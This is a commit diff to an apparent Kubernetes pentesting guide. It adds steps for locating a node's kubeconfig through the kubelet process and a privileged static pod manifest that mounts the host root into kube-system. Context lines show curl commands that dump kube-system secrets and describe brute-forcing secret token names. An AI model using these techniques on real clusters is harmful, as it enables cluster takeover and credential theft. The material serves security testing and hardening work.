GitBook: [#2978] No subject
This commit is contained in:
parent
53c42a509d
commit
43fadce69f
@ -124,6 +124,15 @@ If you managed to **escape from the container** there are some interesting thing
|
||||
* `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
|
||||
* `/etc/kubernetes/pki` - **Kubernetes Key**
|
||||
|
||||
### Find node kubeconfig
|
||||
|
||||
If you cannot find the kubeconfig file in one of the previously commented paths, **check the argument `--kubeconfig` of the kubelet process**: 
|
||||
|
||||
```
|
||||
ps -ef | grep kubelet
|
||||
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
|
||||
```
|
||||
|
||||
### Steal Secrets
|
||||
|
||||
```bash
|
||||
@ -221,7 +230,37 @@ Output:
|
||||
|
||||
If you are inside the node host you can make it create a **static pod inside itself**. This is pretty useful because it might allow you to **create a pod in a different namespace** like **kube-system**. This basically means that if you get to the node you could be able to **compromise the whole cluster**. However, nothe that according to the documentation: _The spec of a static Pod cannot refer to other API objects (e.g., ServiceAccount, ConfigMap, Secret, etc)_.
|
||||
|
||||
In order to create a static pod you just need to **save the yaml configuration of the pod in `/etc/kubernetes/manifests`**. The **kubelet service** will automatically talk to the API server to **create the pod**. The API server therefore will be able to see that the pod is running but it cannot manage it. The Pod names will be suffixed with the node hostname with a leading hyphen.
|
||||
In order to create a static pod you may just need to **save the yaml configuration of the pod in `/etc/kubernetes/manifests`**. The **kubelet service** will automatically talk to the API server to **create the pod**. The API server therefore will be able to see that the pod is running but it cannot manage it. The Pod names will be suffixed with the node hostname with a leading hyphen.
|
||||
|
||||
The **path to the folder** where you should write the pods is given by the parameter **`--pod-manifest-path` of the kubelet process**. If it isn't set you might need to set it and restart the process to abuse this technique.
|
||||
|
||||
**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from **** [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: bad-priv2
|
||||
namespace: kube-system
|
||||
spec:
|
||||
containers:
|
||||
- name: bad
|
||||
hostPID: true
|
||||
image: gcr.io/shmoocon-talk-hacking/brick
|
||||
stdin: true
|
||||
tty: true
|
||||
imagePullPolicy: IfNotPresent
|
||||
volumeMounts:
|
||||
- mountPath: /chroot
|
||||
name: host
|
||||
securityContext:
|
||||
privileged: true
|
||||
volumes:
|
||||
- name: host
|
||||
hostPath:
|
||||
path: /
|
||||
type: Directory
|
||||
```
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
|
@ -151,14 +151,14 @@ Now that you can escape to the node check post-exploitation techniques in:
|
||||
|
||||
You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
|
||||
|
||||
* ****[**Privileged + hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged-+-hostpid)****
|
||||
* ****[**Privileged only**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged)****
|
||||
* ****[**hostPath**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#arbitrary-mounts)****
|
||||
* ****[**hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostpid)****
|
||||
* ****[**hostNetwork**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostnetwork)****
|
||||
* ****[**hostIPC**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostipc)****
|
||||
* [**Privileged + hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged-+-hostpid)
|
||||
* [**Privileged only**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged)
|
||||
* [**hostPath**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#arbitrary-mounts)
|
||||
* [**hostPID**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostpid)
|
||||
* [**hostNetwork**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostnetwork)
|
||||
* [**hostIPC**](../../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#hostipc)
|
||||
|
||||
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)__
|
||||
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)\_\_
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
@ -283,7 +283,7 @@ kubectl port-forward pod/mypod 5000:5000
|
||||
|
||||
With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account.
|
||||
|
||||
In this example, the service account _**sa-imper**_ has a binding to a ClusterRole with rules that allow it to impersonate groups and users.
|
||||
In this example, the service account _**sa-imper**_ has a binding to a ClusterRole with rules that allow it to impersonate groups and users.
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole\_for\_user\_impersonation.png)
|
||||
|
||||
@ -309,7 +309,7 @@ The **listing secrets privilege** is a strong capability to have in the cluster.
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing\_secrets\_role.png)
|
||||
|
||||
An attacker that gains **access to **_**list secrets**_** ** in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace:
|
||||
An attacker that gains **access to \_list secrets**\_\*\* \*\* in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace:
|
||||
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
@ -321,7 +321,7 @@ curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1
|
||||
|
||||
### **Reading a secret – brute-forcing token IDs**
|
||||
|
||||
An attacker that found a token with permission to read a secret can’t use this permission without knowing the full secret’s name. This permission is different from the _**listing** **secrets**_ permission described above.
|
||||
An attacker that found a token with permission to read a secret can’t use this permission without knowing the full secret’s name. This permission is different from the _**listing** **secrets**_ permission described above.
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2018/12/getting\_secret\_clusterRole.png)
|
||||
|
||||
@ -343,7 +343,7 @@ When looking inside the [source code](https://github.com/kubernetes/kubernetes/b
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2018/12/comments\_on\_removing\_characters\_rand\_go\_character\_set-1024x138.png)
|
||||
|
||||
This means that there are 275 = 14,348,907 possibilities for a token.
|
||||
This means that there are 275 = 14,348,907 possibilities for a token.
|
||||
|
||||
An attacker can run a brute-force attack to guess the token ID in couple of hours. Succeeding to get secrets from default sensitive service accounts will allow him to escalate privileges.
|
||||
|
||||
@ -437,13 +437,11 @@ When a pod is being created, it automatically mounts a service account (the defa
|
||||
|
||||
From version 1.6+ it is possible to prevent automounting of service account tokens on pods using automountServiceAccountToken: false. It can be used on service accounts or pods.
|
||||
|
||||
On a service account it should be added like this:\
|
||||
|
||||
On a service account it should be added like this:\\
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2018/12/serviceAccount\_with\_autoamountServiceAccountToken\_false.png)
|
||||
|
||||
It is also possible to use it on the pod:\
|
||||
|
||||
It is also possible to use it on the pod:\\
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2018/12/pod\_with\_autoamountServiceAccountToken\_false.png)
|
||||
|
||||
@ -463,12 +461,10 @@ When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster
|
||||
|
||||
{% embed url="https://github.com/aquasecurity/kube-bench" %}
|
||||
|
||||
## ****
|
||||
|
||||
## **References**
|
||||
|
||||
{% embed url="https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions" %}
|
||||
|
||||
{% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1" %}
|
||||
|
||||
****
|
||||
***
|
||||
|
Loading…
Reference in New Issue
Block a user